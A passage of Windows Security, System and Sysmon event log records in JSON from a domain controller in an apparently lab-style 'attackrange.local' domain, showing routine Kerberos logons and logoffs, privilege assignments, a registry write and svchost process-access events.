Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t::1\r\n\tSource Port:\t\t49710\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x3c93e","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{E997D21B-1523-EC43-74FD-56C741CC408F}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"::1","IpPort":"49710","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221587,"ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3C93E\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x3c93e","LogonType":"3","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":13,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":13,"OpcodeValue":0,"RecordNumber":2321,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Registry value set:\r\nRuleName: \r\nEventType: SetValue\r\nUtcTime: 2020-08-07 11:50:20.562\r\nProcessGuid: {90617006-3FD4-5F2D-0000-00103DC30000}\r\nProcessId: 1220\r\nImage: C:\\Windows\\system32\\svchost.exe\r\nTargetObject: HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\NetworkList\\Profiles\\{BDC8199C-37E0-4476-80CD-3A2E7447156E}\\DateLastConnected\r\nDetails: Binary Data","Category":"Registry value set (rule: RegistryEvent)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.562","ProcessGuid":"{90617006-3FD4-5F2D-0000-00103DC30000}","Image":"C:\\Windows\\system32\\svchost.exe","TargetObject":"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\NetworkList\\Profiles\\{BDC8199C-37E0-4476-80CD-3A2E7447156E}\\DateLastConnected","Details":"Binary Data","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221588,"ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3C3BB\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x3c3bb","LogonType":"3","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"ERROR","SeverityValue":4,"Severity":"ERROR","EventID":10016,"SourceName":"Microsoft-Windows-DistributedCOM","ProviderGuid":"{1B562E86-B7AA-4131-BADC-B6F3A001407E}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76820,"ProcessID":628,"ThreadID":640,"Channel":"System","Domain":"ATTACKRANGE","AccountName":"Administrator","UserID":"S-1-5-21-2899776527-1222892863-2568484180-500","AccountType":"User","Message":"The application-specific permission settings do not grant Local Activation permission for the COM Server application with CLSID \r\n{D63B10C5-BB46-4990-A94F-E40B9D520160}\r\n and APPID \r\n{9CA88EE3-ACB7-47C8-AFC4-AB702511C276}\r\n to the user ATTACKRANGE\\Administrator SID (S-1-5-21-2899776527-1222892863-2568484180-500) from address LocalHost (Using LRPC) running in the application container Unavailable SID (Unavailable). This security permission can be modified using the Component Services administrative tool.","Opcode":"Info","param1":"application-specific","param2":"Local","param3":"Activation","param4":"{D63B10C5-BB46-4990-A94F-E40B9D520160}","param5":"{9CA88EE3-ACB7-47C8-AFC4-AB702511C276}","param6":"ATTACKRANGE","param7":"Administrator","param8":"S-1-5-21-2899776527-1222892863-2568484180-500","param9":"LocalHost (Using LRPC)","param10":"Unavailable","param11":"Unavailable","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221589,"ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3BF80\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x3bf80","LogonType":"3","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2322,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.578\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.578","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221590,"ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3CAC3\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3cac3","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221591,"ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x3CAC3\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{A835F1AE-5213-3DB4-8332-0851C30500C1}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t::1\r\n\tSource Port:\t\t0\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x3cac3","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{A835F1AE-5213-3DB4-8332-0851C30500C1}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"::1","IpPort":"0","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2323,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.578\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.578","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2324,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.578\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.578","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221592,"ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3CAC3\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x3cac3","LogonType":"3","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2325,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.593\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.593","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|